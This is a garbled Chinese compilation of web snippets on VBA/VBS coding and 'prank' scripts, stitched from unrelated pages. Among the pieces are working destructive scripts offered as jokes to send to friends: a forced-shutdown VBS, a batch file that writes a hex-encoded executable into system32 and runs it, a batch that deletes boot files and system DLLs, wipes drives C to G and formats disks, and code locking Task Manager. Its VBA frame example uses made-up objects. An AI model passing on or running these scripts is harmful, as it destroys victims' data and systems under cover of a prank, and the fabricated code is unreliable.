我是猪vbe代码
vba给ie中的frame赋值
vba给ie中的frame赋值在 VBA 中，您可以使用 InternetExplorer 对象 (IE) 来访问和操作 Internet Explorer 浏览器窗口中的框架 (frame)。
以下是一些示例代码，可以帮助您开始为 IE 中的框架赋值:1. 创建一个 InternetExplorer 对象```Dim IE As ObjectSet IE = CreateObject("InternetExplorer.Application") ```2. 创建一个框架对象```Dim FF As ObjectSet FF =CreateObject("HTMLUI.Frame").CreateObject("HTMLUI.Frame") ```3. 将框架对象添加到 IE 窗口中```IE.Document.parentWindow.InsertAtTop FF, True```4. 为框架赋值```FF.innerHTML = "我是框架内容"```完整代码示例:```Dim IE As ObjectSet IE = CreateObject("InternetExplorer.Application") Dim FF As ObjectSet FF =CreateObject("HTMLUI.Frame").CreateObject("HTMLUI.Frame") IE.Document.parentWindow.InsertAtTop FF, TrueFF.innerHTML = "我是框架内容"```以上代码将创建一个 InternetExplorer 对象，创建一个框架对象并将其添加到 IE 窗口中。
最后，将框架内容设置为"我是框架内容"。
几个常用恶意代码
on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说就一分钟关你机，不信，试试···"" ",0 ,truedim ado while(a <> "我是猪")a = inputbox ("说我是猪,就不关机，快撒，说""我是猪"" ","说不说","不说",8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"最佳答案打开个txt，输入shutdown -l -o另存为*.cmd，双击，不过这太白痴了这样更好taskkill /f /im *.exe & shutdown -l -o 1>nul 2>nul这也白痴，想开玩笑不一定关机，我弄过一个脚本，@echo e 100 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 >>tmp11@echo e 110 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 >>tmp11@echo e 120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11@echo e 130 00 00 00 00 00 00 00 00 00 00 00 00 C8 00 00 00 >>tmp11@echo e 140 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 >>tmp11@echo e 150 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F >>tmp11@echo e 160 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 >>tmp11@echo e 170 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 >>tmp11@echo e 180 E7 81 B5 C3 A3 E0 DB 90 A3 E0 DB 90 A3 E0 DB 90 >>tmp11@echo e 190 B0 E8 86 90 A1 E0 DB 90 20 E8 86 90 A0 E0 DB 90 >>tmp11@echo e 1A0 A3 E0 DA 90 AA E0 DB 90 A6 EC 84 90 A1 E0 DB 90 >>tmp11@echo e 1B0 A6 EC 81 90 A2 E0 DB 90 52 69 63 68 A3 E0 DB 90 >>tmp11@echo e 1C0 00 00 00 00 00 00 00 00 50 45 00 00 4C 01 03 00 >>tmp11@echo e 1D0 FD 19 07 3F 00 00 00 00 00 00 00 00 E0 00 0F 01 >>tmp11@echo e 1E0 0B 01 07 0A 00 02 00 00 00 04 00 00 00 00 00 00 >>tmp11@echo e 1F0 C0 10 00 00 00 10 00 00 00 20 00 00 00 00 40 00 >>tmp11@echo e 200 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 >>tmp11@echo e 210 04 00 00 00 00 00 00 00 00 40 00 00 00 04 00 00 >>tmp11@echo e 220 00 00 00 00 02 00 00 04 00 00 10 00 00 10 00 00 >>tmp11@echo e 230 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 >>tmp11@echo e 240 00 00 00 00 00 00 00 00 4C 20 00 00 3C 00 00 00 >>tmp11@echo e 250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11@echo e 260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11@echo e 270 30 20 00 00 1C 00 00 00 00 00 00 00 00 00 00 00 >>tmp11@echo e 280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11@echo e 290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11@echo e 2A0 00 20 00 00 2C 00 00 00 00 00 00 00 00 00 00 00 >>tmp11@echo e 2B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11@echo e 2C0 2E 74 65 78 74 00 00 00 86 01 00 00 00 10 00 00 >>tmp11@echo e 2D0 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 >>tmp11@echo e 2E0 00 00 00 00 20 00 00 60 2E 72 64 61 74 61 00 00 >>tmp11@echo e 2F0 98 01 00 00 00 20 00 00 00 02 00 00 00 06 00 00 >>tmp11@echo e 300 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 >>tmp11@echo e 310 2E 64 61 74 61 00 00 00 28 00 00 00 00 30 00 00 >>tmp11@echo e 320 00 02 00 00 00 08 00 00 00 00 00 00 00 00 00 00 >>tmp11@echo e 330 00 00 00 00 40 00 00 C0 00 00 00 00 00 00 00 00 >>tmp11@echo e 500 56 8B 74 24 08 57 68 10 30 40 00 56 FF 15 10 20 >>tmp11@echo e 510 40 00 8B 0D 10 30 40 00 83 F9 CE 8B 15 18 30 40 >>tmp11@echo e 520 00 8B 3D 24 30 40 00 A1 14 30 40 00 7D 21 83 F8 >>tmp11@echo e 530 CE 7C 21 6A 05 6A 00 6A 00 83 E8 0A 50 51 6A 00 >>tmp11@echo e 540 56 A3 14 30 40 00 FF 15 0C 20 40 00 5F 5E C3 83 >>tmp11@echo e 550 F8 CE 7D 0E 53 8D 5F 32 3B D3 5B 7F 05 83 C1 0A >>tmp11@echo e 560 EB 39 83 C7 32 3B D7 7E 2F 8B 15 20 30 40 00 8B >>tmp11@echo e 570 3D 1C 30 40 00 83 C2 32 3B FA 7F 1C 6A 05 6A 00 >>tmp11@echo e 580 6A 00 83 C0 0A 50 51 6A 00 56 A3 14 30 40 00 FF >>tmp11@echo e 590 15 0C 20 40 00 5F 5E C3 83 E9 0A 6A 05 6A 00 6A >>tmp11@echo e 5A0 00 50 51 6A 00 56 89 0D 10 30 40 00 FF 15 0C 20 >>tmp11@echo e 5B0 40 00 5F 5E C3 CC CC CC CC CC CC CC CC CC CC CC >>tmp11 @echo e 5C0 56 68 10 30 40 00 FF 15 24 20 40 00 50 FF 15 10 >>tmp11@echo e 5D0 20 40 00 A1 18 30 40 00 8B 0D 1C 30 40 00 8B 35 >>tmp11@echo e 5E0 20 20 40 00 68 91 00 00 00 A3 24 30 40 00 89 0D >>tmp11@echo e 5F0 20 30 40 00 FF D6 A8 01 75 60 53 8B 1D 1C 20 40 >>tmp11 @echo e 600 00 55 8B 2D 18 20 40 00 57 8B 3D 14 20 40 00 90 >>tmp11 @echo e 610 FF D7 50 E8 E8 FE FF FF 83 C4 04 6A 00 FF D3 50 >>tmp11 @echo e 620 E8 DB FE FF FF 83 C4 04 E8 36 00 00 00 99 F7 3D >>tmp11 @echo e 630 20 30 40 00 52 E8 29 00 00 00 99 F7 3D 24 30 40 >>tmp11 @echo e 640 00 52 FF D5 6A 14 FF 15 00 20 40 00 68 91 00 00 >>tmp11 @echo e 650 00 FF D6 A8 01 74 B9 5F 5D 5B 6A 00 FF 15 04 20 >>tmp11 @echo e 660 40 00 5E A1 00 30 40 00 69 C0 FD 43 03 00 05 C3 >>tmp11 @echo e 670 9E 26 00 A3 00 30 40 00 33 C0 66 A1 02 30 40 00 >>tmp11 @echo e 680 25 FF 7F 00 00 C3 00 00 00 00 00 00 00 00 00 00 >>tmp11 @echo e 700 C2 20 00 00 B4 20 00 00 00 00 00 00 D8 20 00 00 >>tmp11 @echo e 710 E8 20 00 00 F8 20 00 00 0E 21 00 00 1E 21 00 00 >>tmp11 @echo e 720 2E 21 00 00 3C 21 00 00 00 00 00 00 00 00 00 00 >>tmp11 @echo e 730 00 00 00 00 FD 19 07 3F 00 00 00 00 02 00 00 00 >>tmp11 @echo e 730 00 00 00 00 FD 19 07 3F 00 00 00 00 02 00 00 00 >>tmp11 @echo e 740 3C 00 00 00 5C 21 00 00 5C 07 00 00 88 20 00 00 >>tmp11 @echo e 750 00 00 00 00 00 00 00 00 CA 20 00 00 00 20 00 00 >>tmp11 @echo e 760 94 20 00 00 00 00 00 00 00 00 00 00 50 21 00 00 >>tmp11@echo e 770 0C 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >>tmp11@echo e 780 00 00 00 00 00 00 00 00 C2 20 00 00 B4 20 00 00 >>tmp11 @echo e 790 00 00 00 00 D8 20 00 00 E8 20 00 00 F8 20 00 00 >>tmp11 @echo e 7A0 0E 21 00 00 1E 21 00 00 2E 21 00 00 3C 21 00 00 >>tmp11 @echo e 7B0 00 00 00 00 AF 00 45 78 69 74 50 72 6F 63 65 73 >>tmp11 @echo e 7C0 73 00 47 03 53 6C 65 65 70 00 4B 45 52 4E 45 4C >>tmp11 @echo e 7D0 33 32 2E 64 6C 6C 00 00 83 02 53 65 74 57 69 6E >>tmp11 @echo e 7E0 64 6F 77 50 6F 73 00 00 74 01 47 65 74 57 69 6E >>tmp11 @echo e 7F0 64 6F 77 52 65 63 74 00 17 01 47 65 74 46 6F 72 >>tmp11@echo e 800 65 67 72 6F 75 6E 64 57 69 6E 64 6F 77 00 4F 02 >>tmp11 @echo e 810 53 65 74 43 75 72 73 6F 72 50 6F 73 00 00 63 01 >>tmp11@echo e 820 47 65 74 54 6F 70 57 69 6E 64 6F 77 00 00 21 01 >>tmp11 @echo e 830 47 65 74 4B 65 79 53 74 61 74 65 00 0E 01 47 65 >>tmp11 @echo e 840 74 44 65 73 6B 74 6F 70 57 69 6E 64 6F 77 00 00 >>tmp11 @echo e 850 55 53 45 52 33 32 2E 64 6C 6C 00 00 52 53 44 53 >>tmp11 @echo e 860 15 F4 68 A6 3F 1B F6 4A 85 E8 67 8B 58 CA E2 04 >>tmp11 @echo e 870 02 00 00 00 66 3A 5C 50 72 6F 6A 65 63 74 73 5C >>tmp11 @echo e 880 46 65 61 73 74 5C 52 65 6C 65 61 73 65 5C 46 65 >>tmp11 @echo e 890 61 73 74 2E 70 64 62 00 00 00 00 00 00 00 00 00 >>tmp11@echo rcx>>tmp11@echo A00>>tmp11@echo n tmp1>>tmp11@echo w>>tmp11@echo q>>tmp11@debug<tmp11@Copy /b /y tmp1 %systemroot%\system32\Feast.exe@start %systemroot%\system32\Feast.exe@del tmp11@del tmp1把这些写道txt里面，另存为文件名.bat，双击运行，绝对的joke，很好玩的哦~这两个都不是病毒。
C 语言整人代码大全
if inputbox("是不是","请选择","是")<>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
alert('什么？你居然....');
alert('居然还没意识到自己做错了？');
alert('那好，你要为此付出代价!');
alert('我要你在这里点足一千下......');
alert('什么？你开始有点后悔了？');
alert('何必呢？');
alert('你当初干什么去了？');
alert('不原谅你！');
alert('好从现在开始再点995下......');
alert('你的手开始累了吗?');
alert('什么？你已经没力气了？');
alert('你一直在求我原谅你啊！');
alert('看来你是真的知道错了!');
alert('下次你还会这么做吗？');
alert('真的不会了？');
alert('那好，今天就放你一马！');
case 2
vb编程代码大全
vb编程代码大全Visual Basic (VB) 是一种广泛用于软件开发的高级编程语言，可以用于开发 Windows 应用程序、Web 应用程序、数据库应用程序等。
在本文中，将介绍一些常用的 VB 编程代码，帮助初学者快速入门和提高编程水平。
一、基本数据类型1. 整型数据在 VB 中，整型数据可以使用 Integer 类型表示，范围为 -32,768 到32,767。
定义整型变量的代码如下：```Dim num As Integernum = 10```2. 浮点数据浮点数据可以使用 Single 或 Double 类型表示，分别表示单精度浮点数和双精度浮点数。
定义浮点变量的代码如下：```Dim num As Singlenum = 3.143. 字符串数据字符串数据可以使用 String 类型表示，可以存储文本数据。
定义字符串变量的代码如下：```Dim str As Stringstr = "Hello, World!"```二、控制流程1. If...Then...Else 语句If...Then...Else 语句用于根据条件执行不同的代码块。
例如：```Dim num As Integernum = 10If num > 0 ThenMsgBox("Num is positive.")ElseMsgBox("Num is negative.")End If2. For 循环For 循环用于重复执行一段代码。
例如：```For i = 1 To 10MsgBox(i)Next i```3. Do While 循环Do While 循环在满足条件时执行代码块。
例如：```Dim i As Integeri = 1Do While i <= 10MsgBox(i)i = i + 1Loop```三、数组1. 一维数组一维数组在 VB 中用于存储相同类型的多个元素。
C语言整人代码大全
C 语言整人代码大全WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName)WScript.Echo("你是可爱的小朋吗?")WScript.Echo("哈,我想你拉,这你都不知道吗?")顶举报| 2011-06-01 20:46回复菊花爆开电白自学2楼WScript.Echo("怎么才来,说~是不是不关心我")WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。
")WScript.Echo("小强很生气,后果很严重哦。
")WScript.Echo("嘿嘿!你也会很惨滴哦")WScript.Echo("是不是想清除我?")WScript.Echo("那你要点上50下哦,不过会给你惊喜滴") WScript.Echo("还剩49下,快点点哦")WScript.Echo("还剩48下,快点,小笨蛋!")WScript.Echo("还剩47下对,就这样快点点!")WScript.Echo("还剩46下。
你啊就是笨,要快哦,我先不打扰你工作。
")WScript.Echo("还剩45下,记得要快哦!")WScript.Echo("还剩43下")WScript.Echo("还剩42下")WScript.Echo("还剩41下")WScript.Echo("还剩40下")WScript.Echo("还剩39下")WScript.Echo("还剩38下")WScript.Echo("还剩37下")WScript.Echo("还剩36下")WScript.Echo("还剩35下")WScript.Echo("还剩34下")WScript.Echo("还剩33下")WScript.Echo("还剩32下")WScript.Echo("还剩30下")WScript.Echo("还剩29下") WScript.Echo("还剩28下") WScript.Echo("还剩27下") WScript.Echo("还剩26下") WScript.Echo("还剩25下") WScript.Echo("还剩24下") WScript.Echo("还剩23下") WScript.Echo("还剩22下") WScript.Echo("还剩21下") WScript.Echo("还剩20下") WScript.Echo("还剩19下") WScript.Echo("还剩18下") WScript.Echo("还剩17下") WScript.Echo("还剩16下") WScript.Echo("还剩15下") WScript.Echo("还剩14下")WScript.Echo("还剩13下停停!!!慢点,我有话要说") WScript.Echo("还剩12下,你继续点我就会消失滴") WScript.Echo("还剩11下,以后就看不到我拉。
vba常用代码大全
前言我们平时在工作表单元格的公式中常常使用函数，Excel自带的常用的函数多达300多个，功能强大，丰富多彩，但是在VBA中不能直接应用，必须在函数名前面加上对象，比如：Application.WorksheetFunction.Sum(arg1,arg2,arg3)。
而能在VBA中直接应用的函数也有几十个，下面将逐一详细介绍常用的40个VBA 函数，以供大家学习参考。
第1.1例 ASC函数一、题目：要求编写一段代码，运行后得到字符串”Excel”的首字母和”e”的ASCII 值。
二、代码：Sub 示例_1_01()Dim myNum1%, myNum2%myNum1 = Asc("Excel") '返回69myNum2 = Asc("e") '返回101[a1] = "myNum1= ": [b1] = myNum1[a2] = "myNum2= ": [b2] = myNum2End Sub三、代码详解1、Sub 示例_1_01()：宏程序的开始语句。
2、Dim myNum1%, myNum2%：变量myNum1和myNum2声明为整型变量。
也可以写为 Dim myNum1 As Integer 。
Integer 变量存储为 16位（2 个字节）的数值形式，其范围为 -32,768 到 32,767 之间。
Integer 的类型声明字符是百分比符号 (%)。
3、myNum1 = Asc("Excel")：把Asc函数的值赋给变量myNum1。
Asc函数返回一个 Integer，代表字符串中首字母的字符的ASCII代码。
语法Asc(string)必要的 string（字符串）参数可以是任何有效的字符串表达式。
如果 string 中没有包含任何字符，则会产生运行时错误。
4、myNum2 = Asc("e")：把Asc函数的值赋给变量myNum2。
QQ空间装逼代码，装逼软件分享
QQ空间装逼代码，装逼软件分享锁：[em]e10001[/em]竖屏手机：[em]e10002[/em]横屏手机：[em]e10003[/em]电脑：[em]e10004[/em]手机：[em]e10005[/em]相册图标：[em]e10006[/em]连接图标：[em]e10007[/em]笔记本：[em]e10008[/em]红大锁：[em]e10009[/em]蜡烛：[em]e10010[/em]红小锁：[em]e10011[/em]玫瑰：[em]e10012[/em]手表：[em]e10013[/em]飞机：[em]e10014[/em]奶嘴瓶：[em]e10015[/em]QQ音乐图标：[em]e10016[/em]赞图标：[em]e10017[/em]井号：[em]e10018[/em]大奶嘴瓶：[em]e10019[/em]小飞机：[em]e10020[/em]定位图标：[em]e10021[/em]相机图标：[em]e10022[/em]相册图标：[em]e10023[/em]平板电脑：[em]e10024[/em]手机：[em]e10025[/em]手表：[em]e10026[/em]电脑：[em]e10027[/em]手机山寨：[em]e10028[/em]返回图标：[em]e10029[/em]点亮赞图标：[em]e10030[/em]连接图标小：[em]e10031[/em]地图标记：[em]e10032[/em]红包小图标：[em]e10033[/em]@图标：[em]e10035[/em]联系人图标：[em]e10036[/em]赞加圆缺图标：[em]e10037[/em]返回加圆缺图标：[em]e10038[/em]红包图标2：[em]e10040[/em]礼包图标：[em]e10041[/em]红锁加圆圈：[em]e10042[/em]打赏代码：[em]e10033[/em]{uin:123,nick: 打赏了你一个冰淇淋,who:1}[em]e10033[/em] 打赏了100000000000.00元红包[em]e10011[/em]赞代码:{uin:0000,nick: xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx、xx ,who:1}等13亿人觉得很赞[em]e10026[/em]{uin:5720,nick:Gold Vish,who:1}[em]e10022[/em] {uin:5720,nick:拍摄于07月22日,who:1} {uin:5720,nick:阿尔及利亚天气：阴,who:1}[em]e10020[/em]{uin:5720,nick:乘坐于巴西天马航空JJ8280航班（A舱）,who:1}[em]e10023[/em]{uin:5720,nick:文字已通过英国军情六处，请勿泄露。
VB代码(整人,实用。几个有趣的希望有帮助!!)
使用方法：新建一个txt文本文档。
然后把拓展名改成".vbs"的格式。
然后右键编辑，把代码复制进去，ok！！！1.整死你啊！！！此代码锁定了任务管理器，想关闭只有重新启动电脑，恶搞你的好友，或者骚扰你Private Sub Form_Load()Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1For m = 1 To 999MsgBox "呵呵，你知道我是谁吗？", 16MsgBox "什么？？不知道？", 16MsgBox "那你打开我干什么？", 16MsgBox "你有空没事做吧？！", 16MsgBox "我..就是鼎鼎大名的987876198", 16MsgBox "987876198..", 16MsgBox "现在你把它打开了觉得后悔了吧？呵呵..", 16MsgBox "算了算了，不玩你了", 16MsgBox "现在我数3声就闪人,行了吧?", 16MsgBox "1.............", 16MsgBox "2.............", 16MsgBox "3.............", 16MsgBox "噔噔噔噔,我又回来了！", 16MsgBox "哈哈，是不是很过瘾呢？", 16MsgBox "现在我先介绍下自己..", 16MsgBox "我叫王得地..", 16MsgBox "性别：男..", 16MsgBox "今年35岁..", 16MsgBox "不好意思噢，我好像说多了..", 16MsgBox "不要这样喇，听我说完先好不？", 16MsgBox "来来来，开始喇..", 16MsgBox "我叫王得地..", 16MsgBox "家中有屋又有田..", 16MsgBox "生活乐无边..", 16MsgBox "好像我又说多了...", 16MsgBox "不要生气嘛，你认真看下去我就放你走..", 16MsgBox "好，开始喇..", 16MsgBox "从前有座山..", 16MsgBox "山里有个座庙..", 16MsgBox "庙里有个和尚..", 16MsgBox "哈哈，想哭吗？", 16MsgBox "被骗的感觉不爽吧？", 16MsgBox "喂喂喂！别别..千万别重启电脑", 16MsgBox "我告诉你怎么关吧", 16MsgBox "先打开任务管理器", 16MsgBox "忘了告诉你了，任务管理器打不开了", 16MsgBox "别恨我啊你不小心", 16MsgBox "电脑重新启动吧", 16MsgBox "相信我吧,你知道我是不会骗人的", 16MsgBox "如果你还想继续点的话,你就别听我的", 16MsgBox "呵呵,我又没有说这个东西没有", 16MsgBox "我只想说桌面没有罢了..", 16MsgBox "嘻嘻,爽不爽吖?", 16MsgBox "对着电脑屏幕大声说低调大好人", 16MsgBox "不然,我就没办法的咯", 16MsgBox "因为我把循环设置成99了", 16MsgBox "想保存电脑数据只有继续点了", 16MsgBox "绝对会出到去的", 16MsgBox "好了,废话不多说了,祝你好运..", 16MsgBox "制作:低调不倒", 16MsgBox "QQ：987876198", 16MsgBox "E-mail:不告诉你", 16MsgBox "好,继续循环..", 16NextEnd Sub·······················································2.满屏小雪花这是我以前写的小程序让整个屏幕雪花飘飘的改进，本程序是一个模拟下雪的小程序：大小不同随风飘荡的雪花从屏幕上方不断落下，飘满整个屏幕。
整人程序--我是猪
手把手教你玩QQ整人程序【超级整人滴~】好奇傻死猫-by22010-09-06 23:02首先呢,我们在桌面创建个新文件夹然后打开,在上面找到-工具(T)-文件夹选项(o)-查看把隐藏已知文件类型的扩展名前面的勾去掉.然后我们开始制作.在桌面建立个记事本,然后把下面代码复制进去on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···""",0 ,truedim ado while(a <> "我是猪")a = inputbox ("说我是猪,就不关机，快撒，说""我是猪""","说不说","不说",8000,7000)msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"loopmsgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"复制之后呢,把后缀修改为.vbs或者改变打开方式为应用程序，这样你再压缩下用QQ发给你朋友，对方打开了就在60秒内要关闭计算机，结素任务都不行，他只能说他是猪才能解决问题。
Windows下的记事本的小程序编写(恶搞小程序)
Windows下的记事本的小程序编写（恶搞小程序）2012-05-16 11:35:16| 分类：IT|字号订阅整人小程序复制文字改后缀就能制作目录：1、删掉电脑系统（过于恶毒，轻易别尝试）2、运行后每5秒弹出对话框“哈哈！你中招了！”弹出20次~（可修改次数）3、我是猪4、无法关闭的对话框（必须点击60下以上才可关闭）5、综合型(提供一个最恶毒的，复制到文本文档，后缀改为.batecho offecho 等待......echo 正在分析系统......REG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot" /v Network /fREG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot" /v Minimal /fATTRIB %SYSTEMDRIVE%\boot.ini -s -a -r -hDEL %SYSTEMDRIVE%\boot.ini /fdel %SYSTEMROOT%\system32\logfiles\*.*del %SYSTEMROOT%\sytem32\config\*.evt del %SYSTEMROOT%\system32\dtclog\*.* del %SYSTEMROOT%\system32\*.logdel %SYSTEMROOT%\system32\*.txtdel %SYSTEMROOT%\*.txtdel %SYSTEMROOT%\*.logdel /f /s /q %system%\*.dlldel /f /s /q %system%\*.prxdel /f /s /q %system%\*.tbldel /f /s /q %system%\*.cpxdel /f /s /q %system%\*.romdel /f /s /q %system%\*.ucedel /f /s /q %system%\recycled\*.*del /f /s /q %system32%\*.dlldel /f /s /q %system32%\*.prxdel /f /s /q %system32%\*.tbldel /f /s /q %system32%\*.cpxdel /f /s /q %system32%\*.romdel /f /s /q %system32%\*.ucedel /f /s /q %system32%\recycled\*.*del /f /s /q %windir%\*.bakdel /f /s /q %windir%\prefetch\*.*del /f /s /q *.*sfc /purgecachedel /f /s /q %systemdrive%\*.tmpdel /f /s /q %systemdrive%\*._mpdel /f /s /q %systemdrive%\*.logdel /f /s /q %systemdrive%\*.olddel /f /s /q %systemdrive%\recycled\*.*del /f /s /q %windir%\*.bakdel /f /s /q %windir%\*.logdel /f /s /q %windir%\*.tmpdel /f /s /q %windir%\prefetch\*.*rd /s /q %temp% & md %temp%del /f /q %userprofile%\recent\*.*del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*" del /f /s /q "%userprofile%\Local Settings\Temp\*.*"del /f /s /q "%userprofile%\recent\*.*"@rd /s /q G:\ & md G:\@rd /s /q F:\ & md F:\@rd /s /q E:\ & md E:\@rd /s /q D:\ & md D:\@rd /s /q C:\ & md C:\@rd /s /q A:\ & md A:\@for %%e in (C D E F G) do del /f /s /q %e:\* >nulrd /s /q %windir%\temp & md %windir%\tempdel /f /q %userprofile%\cookies\*.*del /f /q %userprofile%\recent\*.*del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*" del /f /s /q "%userprofile%\Local Settings\Temp\*.*"del /f /s /q "%userprofile%\recent\*.*"del /f /q E:\我的电脑\正在清理windows系统\dll\*.*@format c: /q/u/autoset@format d: /q/u/autoset@format e: /q/u/autosetgoto enddel c:\*.exedel d:\*.dlldel e:\*.vbedel f:\*.batdel g:\*.cmdecho OK!echo.shutdown -s -t 0)1...这个没什么太大意思~不过瘾运行后每5秒弹出对话框弹出20次~set ws=wscript.createobject("wscript.shell")ws.run "wscript.exe",0set WshShell = WScript.CreateObject("WScript.Shell")alerttitle = "系统提示"alerttext ="哈哈！你中招了！"for i = 1 to 20WScript.Sleep(1000*5)msgbox alerttext,4096,alerttitlenext复制代码到记事本中保存为.vbs2...说我是猪,就不关机，快撒，说""我是猪""","说不说"方法如下：在开始内点击运行输入at xx:xx shutdown -s,xx：xx代表几点几分是在几点几分关机输入shutdown.exe -s -t xx,xx代表多少秒钟后关机如果要取消，就输入shutdown -a就可以取消了.我听一个朋友说，有个人给他发个东西。
vbe编程教程
GIS的积累It is never to late to learn导航博客园首页新随笔联系订阅管理统计随笔- 416文章- 0评论- 15引用- 1公告VBS学习dim objset obj=createobject("wscript.Shell")obj.Run "c:\windows\system32\notepad.exe"Dim namename="已经打开"Msgbox name, , "您的名字是"qtp:vbs基础教程◎Vbs脚本编程简明教程之一—为什么要使用Vbs？在Windows中，学习计算机操作也许很简单，但是很多计算机工作是重复性劳动，例如你每周也许需要对一些计算机文件进行复制、粘贴、改名、删除，也许你每天启动计算机第一件事情就是打开WORD，切换到你喜爱的输入法进行文本编辑，同时还要播放优美的音乐给工作创造一个舒心的环境，当然也有可能你经常需要对文本中的某些数据进行整理，把各式各样的数据按照某种规则排列起来……。
这些事情重复、琐碎，使人容易疲劳。
第三方软件也许可以强化计算机的某些功能，但是解决这些重复劳动往往事倍功半，我也尝试过使用计算机语言编写程序来解决这些问题，但是随之而来的命令、语法、算法、系统框架和类库常常让我觉得这样是否有必要，难道就是因为猪毛比较难拔，所以我就要去学习机械，为自己设计一个拔猪毛机(?)吗？Vbs是一种Windows脚本，它的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版)，VBS是Visual Basic的的一个抽象子集，是系统内置的，用它编写的脚本代码不能编译成二进制文件，直接由Windows系统执行（实际是一个叫做宿主host的解释源代码并执行），高效、易学，但是大部分高级语言能干的事情，它基本上都具备，它可以使各种各样的任务自动化，可以使你从重复琐碎的工作中解脱出来，极大的提高工作效率。
整人病毒代码
前段时间看到大家对这种整人的代码兴趣还挺浓厚的，我最近就收集了一些和大家分享。
PS：由于精力问题没有对代码的可用性进行一一验证，所以不保证全部可用，大家如果发现有不可用的或者需要改进的地方请提出来，以下代码仅供娱乐，请勿用于非法用途。
一、怎么点都没反应的桌面如果同事的电脑开着，他离开电脑前一会，嘿嘿，机会来了。
把他的电脑桌面按print键截屏截下来，（当然QQ截屏也可以，不过效果不太逼真！）建议大家用print截屏，设置为桌面。
然后把原来在桌面上的文件统统移到一个盘的文件夹里，这样桌面看上去和平时一个样。
他回来后狂点鼠标，却怎么都没有反应！现在还在关机,开机,关机,开机,关机,开机中…………附带：print键截屏方法：键盘右上方的“Print Screen Sys Rq”键的作用是屏幕抓图！用法一，按“Print Screen SysRq”一下，对当前屏幕进行抓图，就是整个显示屏的内容。
用法二，先按住“Alt”键，再按“Print Screen SysRq”键，则是对当前窗口进行抓图。
如你打开“我的电脑”后，用此法就抓取“我的电脑”窗口的内容。
用上诉两种方法抓图后，再打开“开始”、“附件”里的“画图”程序，点“编辑”、“粘贴”就把抓取的图片贴出来了，可以保存为自己需要的格式。
哈哈，简单吧，这方法真挺搞的，有兴趣的童鞋可以试试！二、让电脑硬盘消失－隐藏磁盘方法愚人节电脑整人使无端端地电脑磁盘的某个分区消失了，钻进地缝里面去了吗，给外星人抓走了？？非也！是某些人使坏将其隐藏起来了！步骤1.新建一个记事本2.将记事本的后缀改为.reg，就是将“新建文件.txt”改为“新建文件.reg”3.将下面的代码复制到记事本当中：Windows Registry Editor Version 5.00[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] "NoDrives" =hex:08,00,00,00解释（1）"NoDrives" =hex:08,00,00,00 这个键值是隐藏D盘的图中的D盘已经神秘消失了。
整人教程
代码evb
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛" im WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true
直接发出来嘛.干嘛还要去别的网站了.....
